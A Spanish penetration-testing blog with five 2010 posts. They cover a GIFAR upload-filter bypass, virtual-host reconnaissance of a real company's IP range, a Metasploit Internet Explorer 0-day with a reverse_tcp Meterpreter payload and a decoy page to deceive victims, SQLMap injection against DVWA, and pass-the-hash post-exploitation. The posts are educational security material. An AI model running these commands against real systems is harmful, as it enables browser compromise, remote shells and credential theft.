lunes, 29 de marzo de 2010

GIFAR otro "steganography trick"

Hace cosa de unos meses a través de Jeremiah Grossman descubrí una técnica esteganográfica de nombre GIFAR y que fue presentado en las BlackHat US 2008. Esta técnica fue expuesta por "Billy Rios, Nathan McFeters, Rob Carter, and John Heasman" y consiste en juntar un fichero GIF y un fichero JAR. Por regla general todos los formatos de imagen poseen la cabecera que los identifica al principio del fichero ("GIF87a" o "GIF89a" para el caso de GIF) por este motivo las aplicaciones empieza por el principio para validar si es una imagen; por contra las aplicaciones que tratan ficheros JAR empiezan por el final. Si nos encontramos ante una auditoria donde tenemos una funcionalidad de upload de ficheros aplicaremos esta técnica para subir contenido GIFAR; la aplicación realizará sus comprobaciones y verá que es una imagen bien formada o un pdf (PDFAR) bien formado etc. Como regalito habremos podido subir un fichero JAR y por tanto haber pasado las comprobaciones de la aplicación.

Después de tanto rollo vamos a crear un simple prueba de concepto. Lo primero construiremos un simple fichero JAVA que realiza un alert de las cookie's:



Ahora lo vamos a compilar y crear nuestro GIFAR con unos comando rápidos:

# javac holamundo.java
# jar -cf holamundo.jar holamundo.class
# cat gifjar.gif holamundo.jar > gifjar2.gif

Si ahora vemos el fichero resultante con el visor de imágenes de Windows (por ejemplo):



Como vemos tenemos un fichero que es una imagen válida. Ahora vamos a subirla a una aplicación web e invocaremos el fichero de imagen para ver qué pasa. Para la prueba subimos el fichero a DVWA mediante la funcionalidad de Upload:



El fichero subido lo podremos ver en la url "http://192.168.72.133/webapp/dvwa/hackable/uploads/gifjar2.gif". Ahora construimos una página Web para poder invocar esta imagen como applet:



Si visitamos la página web poniendo como archive la imagen, vemos que se ejecuta:


Debe quedar claro que lo importante de la imagen anterior es que existe la posibilidad de invocar la imagen como un applet y esto funciona; no siendo relevante que se muestre la cookie en los mostrado anteriormente.

Llegados a este punto, uno se pone a pensar cómo podría realmente ser explotado por parte de un atacante esta técnica. Para esto haremos referencia al libro "Hacking: the next generation" donde uno de los autores es Billy Rios (os suena ... :P). En el libro se expone una manera "cuanto menos" curiosa para explotar este trick. Os lo resumo a continuación, pero para más información mejor que leáis el libro porque merece la pena:

1. Subimos un PDFAR (PDF + JAR) a una aplicación que permite upload de ficheros PDF (en la PoC del libro utilizan docs.google.com).

2. Una vez subido compartimos el fichero con el resto de usuarios de la aplicación. Puede darse el caso que la aplicación tengo también dentro de su dominio una funcionalidad de traducción (en la PoC del libro utilizando translate.google.com). Con esto podemos aprovecharnos y enviar un enlace a las víctimas con una página web de fuera del dominio de la aplicación pero que al ser servida por la funcionalidad de traducción, la página maliciosa ya se ejecuta en el contexto de la aplicación a atacar.

Espero que podáis probar el trick en vuestra auditorías :).

¿Qué otras maneras se os ocurre de aprovechar este "steganograpy trick"?
¿Qué otros tricks de este tipo utilizáis?

lunes, 22 de marzo de 2010

WebSearch: Encuentra Hosts Virtuales

En muchas ocasiones, cuando realizamos un test de intrusión, nos encontramos con la dificultad de tener que auditar servidores web con múltiples virtual hosts con sus respectivas páginas web. Es importante conocer cuantos más virtual hosts de la máquina mejor, puesto que las probabilidades de encontrar algún fallo en la aplicación web que nos permita "empezar nuestra magia" aumentan cuantas más webs encontremos.

Para encontrar estos virtual hosts, así como más dominios diferentes pero pertenecientes a una misma empresa, me hice hace tiempo un script en Pyhton llamado WebSearch, al que se le puede pasar un rango de IPs y consulta con Bing IP a IP para obtener los virtual hosts de la máquina.

Evidentemente, esta aproximación no es perfecta, puesto que un host virtual que no es enlazado desde ningún sitio nunca va a ser encontrado, pero en general una web se pone ahí para que alguien la vea, así que vamos a obtener unos resultados aceptables.

La herramienta la hemos dejado en nuestro (mini) repositorio de herramientas, con el nombre de WebSearch. Si veis la web principal del repositorio, veréis que hay otra herramienta en Perl que hice hace tiempo (y de la que ya hablamos en un par de ocasiones) para encontrar hosts llamada TargetSearch. Podéis usarla también si queréis en combinación con WebSearch, pero os aviso ya de que la tengo en proceso de mejora y de migración a Python, osea que es posible que en poco tiempo retire esa herramienta y publique la nueva.

Bueno, pues ahora que ya están hechas las presentaciones (WebSearch - Lectores de Pentester, Lectores de Pentester - WebSearch) vamos con un pequeño ejemplo práctico:

Imaginaos que estamos haciendo un Pentest y nos dicen el nombre de la empresa: Cisco. Cisco tiene varios dominios y rangos de red, pero por simplicidad vamos a coger uno, por ejemplo cisco.net .Ahora que ya tenemos un dominio a por el que ir, vamos a mirar en que IP está su web principal http://www.cisco.net ,y a partir de ahí vamos a sacar la red, que es lo que necesitamos para empezar a jugar con WebSearch:

# host www.cisco.net
www.cisco.net is an alias for redirect.cisco.com.
redirect.cisco.com has address 198.133.219.23

# whois 198.133.219.23
OrgName: Cisco Systems, Inc.
[...]
NetRange: 198.133.219.0 - 198.133.219.255
[...]

Bueno, pues parece que ya tenemos nuestra primera red perteneciente a Cisco, la comprendida entre 198.133.219.0 y 198.133.219.255 .Ahora solo tenemos que llamar a WebSearch con esta información para que nos empiece a sacar las webs, hosts por host:

# ./WebSearch.py 198.133.219.0-198.133.219.255
Searching hostnames for: 198.133.219.0 (0)
Searching hostnames for: 198.133.219.1 (0)
Searching hostnames for: 198.133.219.2 (0)
Searching hostnames for: 198.133.219.3 (0)
Searching hostnames for: 198.133.219.4 (0)
Searching hostnames for: 198.133.219.5 (0)
Searching hostnames for: 198.133.219.6 (0)
Searching hostnames for: 198.133.219.7 (0)
Searching hostnames for: 198.133.219.8 (0)
Searching hostnames for: 198.133.219.9 (0)
Searching hostnames for: 198.133.219.10 (2)
fed.cisco.com
supportforums.cisco.com
learningnetwork.cisco.com
Searching hostnames for: 198.133.219.11 (0)
[...]

La salida es muy larga (y más lo será cuantas más webs y más grande sea el rango), así que la truncamos solo para que se pueda ver que nos irá comprobando IP por IP y nos irá mostrando las webs de cada IP. Al número entre paréntesis no le hagáis mucho caso, es la cantidad de entradas en la caché que hay, pero no tiene nada que ver con el número de hosts.

La información referente a los hosts que se están chequeando sale por la salida de error, así que tenedlo en cuenta si queréis volcarlo a un fichero. Si por contra lo que queréis es solo una lista de webs ordenada para empezar a jugar, podéis hacer algo así:

# ./WebSearch.py 198.133.219.0-198.133.219.255 2>/dev/null | sort | uniq
ardentcom.com
c1.cisco.com
cio.cisco.com
cisco-al.com
cisco-ar.com
cisco-co.com
cisco.com
conft.com
contact1.cisco.com
developer.cisco.com
download-sj.cisco.com
edelivery.cisco.com
fed.cisco.com
fsx.cisco.com
ftp-sj.cisco.com
hp.cisco.com
ihomealliance.com
investor.cisco.com
learningnetwork.cisco.com
netsolve.com
netsystech.com
networkingacademies.com
newsroom.cisco.com
supportforums.cisco.com
szone.cisco.com
thurisa.com
trailhead-sj.cisco.com
www.builtforbroadband.org
www.c-i-s-c-o.com
www.cciemachine.com
www.cisco-de.com
www.cisco-id.com
www.cisco-la.com
www.cisco-ma.com
www.cisco-mi.com
www.cisco-secure.com
www.cisco-wy.com
www.cisco.biz
www.cisco.com
www.cisco.sh
www.ciscobenefits.net
www.ciscoconnects.net
www.ciscofield.org
www.ciscointernethome.com
www.ciscopark.com
www.ciscopro.com
www.ciscosecure.org
www.ciscosecurity.net
www.ciscosistemi.com
www.ciscosistemi.net
www.ciscosistemi.org
www.ciscostadium.net
www.ciscosysteme.org
www.ciscosystems.com
www.ciscosystemsnetwork.com
www.ciscotechnologyinc.com
www.dagazcomm.com
www.ieng.net
www.iq-magazine.org
www.netimpactstudy.com
www.onbusinessnetwork.com
www.sentientsupport.com
www.summa4.com
www.unity-net.com

Como podeis ver, hemos obtenido un montón de webs y de dominios nuevos asociados a Cisco que podemos utilizar para intentar penetrar a través de ellos en los sistemas. Al ser webs / dominios no principales, probablemente estarán menos securizados que los principales, ya sabeis, la puerta principal suele estar "bien" asegurada, pero igual le pegamos una pedrada a una ventana y por ahí nos colamos.

Por el momento la herramienta solo la he usado yo y algunos amigos de este mundillo, así que está en un estado "beta", si alguien detecta fallos por favor que me lo notifique por correo electrónico.

Espero que os guste la herramienta y que la encontréis de utilidad.
A disfrutarla!

lunes, 15 de marzo de 2010

IEPeers 0-Day: Explotando (otra vez) Internet Explorer

Hace unos días, el pasado día 9 de Marzo, Microsoft publicó un Advisory que nos comunicaba la existencia de una Vulnerabilidad Zero Day en Internet Explorer 6 y 7, sin parche disponible, que podría ser explotada para ejecutar código de forma remota.

Dicha vulnerabilidad ha sido ya utilizada para la propagación de malware a través de Internet. El exploit utilizado ha sido obtenido y analizado, y ya ha sido portado a Metasploit, por lo que cualquiera puede utilizar este conocido framework de explotación para combinar esta nueva vulnerabilidad con nuestros payloads favoritos, en lugar del payload del malware con el que se encontró originariamente.

La vulnerabilidad encontrada es muy similar a la explotada por el famoso Aurora Zero-Day utilizado contra Google China, del que ya hablamos en su momento en un par de ocasiones. En este caso la vulnerabilidad se encuentra el la librería iepeers.dll y consiste en la realización de un acceso a memoria a través de un puntero previamente liberado, todo ello a través de Javascript:


Para utilizar Metasploit para explotar esta vulnerabilidad no es necesario descargarse el plugin del enlace que hemos referenciado, ya que forma parte del repositorio oficial de Metasploit, por lo que solo tenemos que actualizar nuestro framework:

# cd /opt/msf3
# svn update

Una vez actualizado, arrancamos Metasploit y seleccionamos este plugin, y nuestro payload favorito, en este caso Meterpreter:

# ./msfconsole
> use windows/browser/ie_iepeers_pointer
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST [BackTrackIP]
> show options


Una vez preparada la explotación ya solo tenemos que lanzar el exploit, el cual levantará un servidor web en el puerto 8080 y nos proporcionará una URL que el navegador víctima deberá visitar para ser explotado:

> exploit


Sin embargo, si utilizamos este exploit directamente contra un navegador, veremos que el navegador se queda completamente bloqueado o incluso que se cierra, así que vamos a introducir una pequeña variante para ocultar un poco la explotación de una manera no demasiado complicada ni sofisticada.

Para ello, levantamos un servidor apache en el puerto 80 con un simple HTML, a través del cual mostraremos una web "señuelo" para entretener al usuario mientras se lanza otro navegador que visita la URL que nos ha proporcionado Metasploit:

# cat /var/www/index.html


Bueno, pues ya lo tenemos todo listo, ahora solo nos queda que un pobre incauto visite nuestra web trampa. Podemos observar en el siguiente video como sería el efecto visual, además de como migramos Meterpreter de proceso para que no nos quedemos sin conexión al cerrar el usuario el navegador, todo ello de forma automática:



Estas pruebas han sido realizadas con Internet Explorer 6. No se han obtenido pruebas satisfactorias con Internet Explorer 7, ya que el exploit ha sido creado a partir del malware original, que parecía tener como foco únicamente la versión 6 del navegador de Microsoft. Sin embargo, la versión 7 del navegador también es vulnerable, y con algo más de esfuerzo podría obtenerse un exploit completamente funcional.

Para mitigar esta vulnerabilidad, se recomienda a todos los usuarios de Internet Explorer que actualicen su software a Internet Explorer 8, ya que esta versión no se ve afectada por la vulnerabilidad.

martes, 9 de marzo de 2010

SQLMap: Inyección SQL Automática

SQLMap es una herramienta para llevar a cabo inyecciones SQL realizada por Bernardo Damele (líder de proyecto) y Miroslav Stampar (Desarrollador). Es una herramienta desarrollada en Python y por tanto independiente del sistema operativo.

Una vez hecha la pequeña presentación de la herramienta, vamos a juguetear un poco con ella. Para las pruebas realizadas hemos utilizado:

  • DVWA versión 1.0.6 como aplicación vulnerable a SQL injection
  • SQLMap 0.7 como herramienta para realizar SQL injection
  • Mysql 5.0.51
  • Sistema Operativo, Debian
Accedemos a la aplicación DVWA con nuestras credenciales, accedemos desde el menú de la izquierda a la opción "SQL Injection":






La aplicación recibe un identificador numérico y devuelve qué usuario dispone de ese identificador. Por ejemplo, si introducimos un '1' como "user id" la aplicación nos devolverá 'admin'. La aplicación realiza la siguiente consulta SQL sobre la base de datos, "SELECT first_name, last_name FROM users WHERE user_id = '$id'", recibiendo como parámetro el user_id. En el caso de no realizar un buen tratamiento del identificador un atacante podrá realizar una inyección SQL.

Vamos a probar qué sucede si introducimos una comilla seguida de un identificador numérico:



Como vemos se produce un error que nos indica que estamos ante una "posible" inyección SQL. En este caso concreto sabemos a ciencia cierta que existe, así que ahora vamos a ver cómo se comporta SQLMap, para ello lanzamos SQLMap pasándole la URL y los identificadores de sesión:

$> sqlmap.exe --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f"

Resultado obtenido:



Nosotros sabemos que el parámetro id es vulnerable a SQL injection y que la base de datos es Mysql, pero en este caso SQLMap parece no darnos el resultado esperado, ¿por qué?. SQLMap compara la página sin ningún tipo inyección con la página con la inyección y en función de la variación entre ellas devuelve True o False (True si supera determinado ratio y False en el caso contrario). En nuestro caso si la inyección deriva en una página de error (por lo que no está bien construida) esta varía mucho de la página sin ningún tipo de inyección; por el contrario si la inyección resulta exitosa devolverá en el campo ID nuestra inyección, dejando igual los campos "First name" y "Surname". En la ejecución anterior SQLMap no funciona de manera correcta porque el campo ID con nuestra inyección hace variar demasiado la página. Si vamos haciendo una traza de la ejecución observamos que es en el fichero "comparison.py" donde devuelve "False" en base a dos valores, ratio y conf.matchRatio.



Añadimos dos líneas a este fichero, 'logger.info(ratio) y logger.info(conf.matchRatio)', para observar qué valores tienen las variables ratio y conf.matchRatio cuando realiza una inyección que efectivamente debería surtir efecto:



Como vemos la página con la inyección varía "demasiado" para ser detectado por nuestra sensible herramienta. Para ayudarla un poco vamos a utilizar el parámetro "--string", con el objetivo de introducir una cadena que esté siempre en la página sin inyección y en la página con una inyección que debiera volver True. Por contra esta cadena no debería estar cuando devuelva False. En este caso si introducimos como "id=1", sabemos que debe devolver admin cuando se produzca un True y no debe aparecer cuando devuelva False. Vamos a probar:

$> python -d /usr/bin/sqlmap --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f" --string="admin"

Resultado obtenido:



Ahora que parece funcionar, vamos a obtener por ejemplo las bases de datos que posee la base de datos:

$> python -d /usr/bin/sqlmap --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f" --string="admin" --dbs



Vemos que existen cuatro base de datos (dvwa, information_schema, mysql y wordpress281) en la base de datos. Llegados a este punto empieza la fiesta y ya podemos ir consultando con la herramienta diferentes aspectos de la base de datos, y que podéis consultar en el manual de SQLMap.

En una próxima entrada llegaremos un poco más lejos ..... a través de una inyección SQL. Espero que esta entrada os sirva para ver cómo toquetear SQLMap un poquito y empezar con lo divertido.

miércoles, 3 de marzo de 2010

Windows Post-Explotation & Pass-the-Hash

El pasado viernes por la tarde, en las Conferencias FIST de Barcelona, tuvimos la oportunidad de dar una de las charlas de 45 minutos en las que explicábamos algunas técnicas que podemos realizar durante la realización de un test de intrusión una vez hemos conseguido hacernos con el control de una de las máquinas. Concretamente, repasábamos algunas de las técnicas que se pueden emplear en sistemas Windows.

Entre las técnicas mencionadas, comentamos como se pueden aprovechar los fallos existentes en el antiguo Hash LANMAN utilizado aún por Microsoft por motivos de compatibilidad para obtener las contraseñas de una forma más fácil y rápida. Otra de las técnicas mencionadas consistía en la utilización de hashes que no habían podido ser crackeados debido a la robustez de la clave, pero que igualmente podían ser utilizados empleando técnicas de Pass-the-Hash para lograr propagar nuestra intrusión en el resto de los equipos sin necesidad de conocer la contraseña.
Podemos descargar la presentación o verla directamente a través de Scribd:




También podemos ver un pequeño video de las demostraciones que me llevé preparado por si me fallaban las maquetas, o el ordenador, o algo:




En el video podemos ver como, tras una intrusión en el sistema XPOWNED, robamos los hashes y los intentamos crackear utilizando las conocidas debilidades del algoritmo LANMAN de Microsoft. Sin embargo, una de las contraseñas se nos resiste tanto al ataque de diccionario como al de fuerza bruta, así que aplicamos sobre este Hash las técnicas de Pass-the-Hash. Para ello, utilizamos el Pass-the-Hash Toolkit (PSH) que como vemos cambia en la memoria de nuestro propio Windows las credenciales para sustituirlas por las credenciales del usuario suplantado, y a partir de ahí, a todos los efectos somos ese usuario en la red. Por último usamos el módulo PSExec de Metasploit para ejecutar comandos en el sistema XPTARGET. Para más información podeis consultar la presentación.

Por último, agradecer a todas las personas que vinieron el interés mostrado por nuestra charla. Esperamos que resultara interesante y esperamos también poder contar con vosotros para las sucesivas charlas que nos inviten a dar, que esperemos que sean muchas ;)

Lamento la tardanza en poner el post, pero lo de los videos se me sigue resistiendo, aunque parece que ahora, por fin, ya lo tengo solucionado ;P

Saludos a todos!